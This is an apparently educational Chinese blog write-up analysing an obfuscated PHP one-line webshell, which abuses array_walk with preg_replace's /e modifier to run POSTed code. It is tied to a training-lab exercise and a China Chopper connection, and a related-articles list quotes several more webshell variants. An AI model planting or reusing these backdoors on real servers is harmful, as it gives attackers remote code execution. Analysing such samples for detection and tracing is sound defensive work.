WebShell代码分析溯源(九)

一、一句话变形马样本

<?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');?>

二、代码分析

1、调整代码格式

  

2、分析代码

1、首先使用REQUEST方法接收url中的e参数的值,创建arr数组,然后array_walk对数组$arr中的每个元素应用用户自定义函数$e

注:,array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。

参考: https://www.w3school.com.cn/php/func_array_walk.asp

2、此时看到’|.*|e’,首先想到的是正则表达式,使用preg_replace()函数, preg_replace() 将 replacement 参数当作 PHP 代码,正则意思为匹配模式出现/e修正符,后面的replacement就会被当作php代码执行, 这样就可以把 $_POST['pass']构造运行,此时一句话木马就变成了<?php preg_replace(“|.*|e”, $_POST['pass'],’’);?>

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第8题)),地址: https://www.mozhe.cn/bug/detail/ckhySG9DdFJPMlcrRndCZGlUMzMvUT09bW96aGUmozhe

2、代码环境,下载代码

  

3、分析(上面已经分析过了)

4、使用菜刀连接

  

5、执行一些命令

  

WebShell代码分析溯源(九)的更多相关文章

  1. WebShell代码分析溯源(一)

    WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ...

  2. WebShell代码分析溯源(十一)

    WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...

  3. WebShell代码分析溯源(十)

    WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...

  4. WebShell代码分析溯源(八)

    WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ...

  5. WebShell代码分析溯源(七)

    WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...

  6. WebShell代码分析溯源(六)

    WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代 ...

  7. WebShell代码分析溯源(五)

    WebShell代码分析溯源(五) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($ar ...

  8. WebShell代码分析溯源(四)

    WebShell代码分析溯源(四) 一.一句话变形马样本 <?php @$_++;$__=("`"^"?").(":"^"} ...

  9. WebShell代码分析溯源(三)

    WebShell代码分析溯源(三) 一.一句话变形马样本 <?php $g = array('','s');$gg = a.$g[1].ser.chr('116');@$gg($_POST[ge ...

随机推荐

  1. 顺序栈与两栈共享空间-C语言实现

    栈是一种只能允许在栈顶插入数据与删除数据的数据结构,其实这就是一种特殊的线性表,特殊在 只能在表尾进行增减元素,上代码 #include <stdio.h> #define MAXSIZE ...

  2. Python网络爬虫——BeautifulSoup4库的使用

    使用requests库获取html页面并将其转换成字符串之后,需要进一步解析html页面格式,提取有用信息. BeautifulSoup4库,也被成为bs4库(后皆采用简写)用于解析和处理html和x ...

  3. nginx代理跨域,根据路径参数改变目标服务器地址

    我们都知道nginx是可以做跨域代理的: location ^~ /visited-path/ { proxy_pass http://another-domain/; } 举个例子:假如我们的代理服 ...

  4. 关于javascript中=的返回值

    今天看了一段代码,大概是这样的: function test(){ a=4; b=5; return b=a; } test();//返回? 返回值是多少呢?运行结果是4 这可以理解为将a的值赋给b以 ...

  5. NB-IoT将成为未来5G物联网主流技术

    日前,我国完成了IMT-2020(5G)候选技术方案的完整提交.据悉,在提交的方案中,NB-IoT技术被正式纳入5G候选技术集合,预计2020年6月ITU将正式宣布5G技术方案的诞生.而NB-IoT也 ...

  6. zabbix配置

    一:安装zabbix服务端 1.部署准备 命令:iptables -F     #关闭防火墙命令:systemctl stop firewalld    #关闭防火墙 设置解析,自建yum源 命令:c ...

  7. Plugin execution not covered by lifecycle configuration: org.codehaus.mojo:build-helper-maven-plugin:1.8:add-test-source (execution: add-functional-source, phase: generate-sources)

    在maven项目中使用add-source时,pom.xml报如下错误: Plugin execution not covered by lifecycle configuration: org.co ...

  8. 基于jquery的弹幕实现

    前几天,需要做一个弹幕展示效果,看了网上很多资料,但是很不凑巧,都不能满足自己的需求和功能点,但是总不能放弃吧,那么就自己写一个,今天把成果分享给大家,首先说一下市面上比较流行的弹幕插件吧: 1.有关 ...

  9. 经典常用SQL语句大全

    创建表 --删除表 --DROP TABLE [dbo].[Test] --创建表 CREATE TABLE [dbo].[Test] ( ,) PRIMARY KEY, ----自增主键 ) NUL ...

  10. 【MobX】391- MobX 入门教程(下)

    点击上方"前端自习课"关注,学习起来~ 三.MobX 常用 API 介绍 3. 修改可观察数据 在上一部分内容中,我们了解到,对可观察的数据做出反应的时候,需要我们手动修改可观察数 ...